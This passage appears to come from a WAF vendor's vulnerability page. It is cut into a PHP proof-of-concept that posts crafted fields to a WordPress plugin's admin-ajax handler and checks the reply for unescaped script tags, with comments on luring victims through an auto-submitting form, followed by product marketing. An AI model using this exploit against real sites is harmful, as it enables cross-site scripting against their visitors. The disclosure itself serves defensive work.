    'action' => 'knbu_provide_knbu_info',
    'knbu_ktype_info' => '1', // Triggers the handler
    'post_ID' => '1', // Target post ID that has a knowledge type set mapped
    'knbu_ID' => 'malicious_type_id' // The ID of a knowledge type containing script
);

// Step 3: Send the request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Check response
if ($http_code == 200) {
    echo "[+] Request sent successfully. Response:n";
    echo $response . "n";
    // If the response contains unescaped script, it indicates the vulnerability is present.
    if (strpos($response, '<script>') !== false) {
        echo "[!] Potential XSS vulnerability confirmed: response contains script tag.n";
    } else {
        echo "[-] No script tag found in response. The target may be patched or the payload not triggered.n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

// Note: In a real attack, the attacker would craft a URL that automatically submits this POST request
// (e.g., via a form with auto-submit) and trick a victim into visiting it.
// The victim's browser would execute any script returned in the JSON response if the client-side code
// inserts it into the DOM without sanitization.
// This PoC demonstrates the server-side lack of output escaping.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.